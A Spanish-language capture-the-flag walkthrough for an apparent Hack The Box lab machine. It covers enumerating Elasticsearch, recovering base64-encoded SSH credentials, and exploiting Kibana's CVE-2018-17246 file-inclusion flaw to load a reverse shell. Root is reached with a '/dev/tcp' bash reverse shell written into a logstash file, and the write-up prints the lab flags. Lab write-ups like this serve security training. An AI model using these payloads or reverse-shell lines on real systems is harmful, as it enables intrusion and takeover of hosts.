#### Realizar un escaneo de puertos `$ nmap -sC -sV 10.10.10.115` #### Nos encontramos que estan corriendo la version 6.4.2 de elasticsearch en el puerto 9200 #### Realizamos un escaneo de directorios al puerto 9200 `$ dirb http://10.10.10.115:9200/` #### Descargar la imagen del index y analizar para extraer posible informacion http://10.10.10.115/needle.jpg $ exiftool needle.jpg $ cat needle.jpg #### Vemos que al ejecutar cat en la imagen, al final sale algo en base64 ``` $ echo bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg== | base64 --decode la aguja en el pajar es "clave" ``` #### Esto nos da indicios de que hay que encontrar una clave #### Si vamos al siguiente directorio, podemos observar que salen detalles de una cuenta http://10.10.10.115:9200/bank #### Como se puede observar en el siguiente articulo sobre elasticsearch, explica que entrando a /_search se pueden buscar diferentes cosas introduciendo ciertos parametros de busqueda https://www.elastic.co/guide/en/elasticsearch/reference/current/search-uri-request.html #### Vamos al siguiente enlace http://10.10.10.115:9200/_search #### Introducimos la query string ?q= y buscamos la "clave" http://10.10.10.115:9200/_search?q=clave #### Se obtienen unas claves de acceso, cifradas en base64 ``` "Tengo que guardar la clave para la maquina: dXNlcjogc2VjdXJpdHkg " "Esta clave no se puede perder, la guardo aca: cGFzczogc3BhbmlzaC5pcy5rZXk=" ``` #### Decodeamos los resultados obtenidos anteriormente ``` $ echo dXNlcjogc2VjdXJpdHkg | base64 --decode user: security $ echo cGFzczogc3BhbmlzaC5pcy5rZXk= | base64 --decode pass: spanish.is.key ``` #### Ahora utilizamos las credenciales obtenidas para conectarnos mediante SSH ``` $ ssh security@10.10.10.115 security@10.10.10.115's password: spanish.is.key ``` #### Obtenemos la flag de user ``` $ cat user.txt 04d18bc79dac1d4d48ee0a940c8eb929 ``` #### Si buscamos en internet, la version 6.4.2 tiene publicado el CVE-2018-17246 https://www.elastic.co/blog/kibana-local-file-inclusion-flaw-cve-2018-17246 https://github.com/mpgn/CVE-2018-17246 #### Realizamos un port forwarding ``` ssh security@10.10.10.115 -L 5601:localhost:5601 pass: spanish.is.key ``` #### Nos vamos a nuestro navegador y ponemos localhost:5601 y tendremos acceso a el panel de kibana el cual esta siendo redirigido a nuestra maquina y es ahora cuando explotamos el fallo #### Creamos una shell JS https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell #### Subimos una shell JS en el directorio /tmp de la maquina remota `$ scp shell.js security@10.10.10.115:/tmp` #### Abrimos una nueva instancia a la escucha con netcat `$ nc -lvp 1337` #### Hacemos una peticion GET al siguiente directorio para explotar el fallo (LFI) http://localhost:5601/api/console/api_server?sense_version@@SENSE_VERSION&apis=../../../../../../../../../../tmp/shell.js #### Una vez conectados tendremos acceso como el usuario kibana `$ whoami` #### Invocamos una shell tty en la maquina `$ python -c 'import pty; pty.spawn("/bin/sh")'` #### Lanzamos otra instancia paralela a la anterior de netcat y la ponemos a la escucha `$ nc -lvp 4444` #### Por ultimo desde la shell de kibana ejecutamos lo siguiente (remplazamos con nuestra ip y el puerto que queramos) `$ echo "Ejecutar comando: /bin/bash -i >& /dev/tcp/10.10.10.10/4444 0>&1" >> /opt/kibana/logstash_blah` #### Una vez hecho esto, ya tendremos acceso como root, y solo quedaria conseguir la flag ``` $ cat /root/root.txt 3f5f727c38d9f70e1d2ad2ba11059d92 ``` ---